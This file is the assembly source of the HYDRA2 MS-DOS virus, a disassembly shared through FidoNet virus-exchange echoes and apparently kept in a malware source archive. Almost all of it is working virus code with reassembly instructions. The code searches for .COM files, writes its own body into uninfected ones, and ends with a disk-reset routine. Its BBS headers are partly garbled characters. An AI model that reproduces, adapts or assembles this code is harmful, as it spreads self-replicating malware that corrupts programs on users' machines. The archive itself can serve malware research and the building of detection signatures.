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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir18.asm

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2021-01-13 00:04:54 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 8 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : HYDRA_2.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Bryan Sullivan, 2:283/718 (06 Nov 94 16:26)
;* To : Edwin Cleton
;* Subj : HYDRA_2.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Bryan.Sullivan@f718.n283.z2.fidonet.org
PAGE 59,132
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> HYDRA2 <20><>
;<3B><> <20><>
;<3B><> <20><>
;<3B><> Disassembly by: -=>Wasp<=- aka >>Night Crawler<< <20><>
;<3B><> <20><>
;<3B><> Reassemble with TASM 2.0 <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DATA_1E EQU 235H
DATA_2E EQU 522H
DATA_3E EQU 80H
DATA_13E EQU 157H
DATA_14E EQU 15AH
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
HYDRA2 PROC FAR
START:
JMP LOC_1 ; (0182)
DB 59H, 44H, 00H, 00H
DATA_5 DB 'HyDra-2 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_8 DW 0, 84FCH
DATA_10 DW 0
DATA_11 DB 0
DB 29 DUP (0)
DATA_12 DB 0
DB 13 DUP (0)
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
LOC_1:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI ; Zero register
MOV CX,157H
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV AH,1AH
MOV DX,OFFSET DATA_11
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV AH,4EH ; 'N'
MOV DX,OFFSET DATA_5+22H
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_5 ; Jump if carry Set
LOC_2:
MOV AH,3DH ; '='
MOV AL,2
MOV DX,OFFSET DATA_12
MOV AL,2
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_13E
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
ADD AX,157H
MOV CS:DATA_10,AX
CMP WORD PTR DS:DATA_14E,4459H
JNE LOC_3 ; Jump if not equal
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
MOV AH,4FH ; 'O'
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_6 ; Jump if carry Set
JMP SHORT LOC_2 ; (01A4)
LOC_3:
XOR CX,CX ; Zero register
MOV DX,CX
MOV AX,4200H
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_4 ; Jump if carry Set
MOV AH,40H ; '@'
XOR DX,DX ; Zero register
MOV CX,CS:DATA_10
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_4:
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
PUSH CS
POP DS
LOC_5:
MOV AH,1AH
MOV DX,DATA_3E
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
JMP SHORT LOC_7 ; (0218)
DB 90H
LOC_6:
PUSH DX
XOR AX,AX ; Zero register
XOR AX,AX ; Zero register
MOV DS,AX
MOV BX,DATA_2E
MOV AH,0FFH
MOV [BX],AH
XOR AX,AX ; Zero register
INT 13H ; Disk dl=drive 0 ah=func 00h
; reset disk, al=return status
MOV AX,0
INT 21H ; DOS Services ah=function 00h
; terminate, cs=progm seg prefx
LOC_7:
XOR DI,DI ; Zero register
MOV SI,DATA_1E
MOV CX,22H
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP BX
MOV CS:DATA_8,0
MOV WORD PTR CS:DATA_8+2,ES
POP BX
JMP DWORD PTR CS:DATA_8
DB 1EH, 07H,0B9H,0FFH,0FFH,0BEH
DB 57H, 02H,0BFH, 00H, 01H, 2BH
DB 0CEH,0F3H,0A4H, 2EH,0C7H, 06H
DB 00H, 01H, 00H, 01H, 2EH, 8CH
DB 1EH, 02H, 01H, 8BH,0C3H, 2EH
DB 0FFH, 2EH, 00H, 01H,0CDH
DB 20H
HYDRA2 ENDP
SEG_A ENDS
END START
;-+- Terminate 1.50/Pro
; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718)
;=============================================================================
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/w0,/w1,/w2 Set warning level: w0=none, w1=w2=warnings on
;
;--- Aidstest Null: /Kill
;* Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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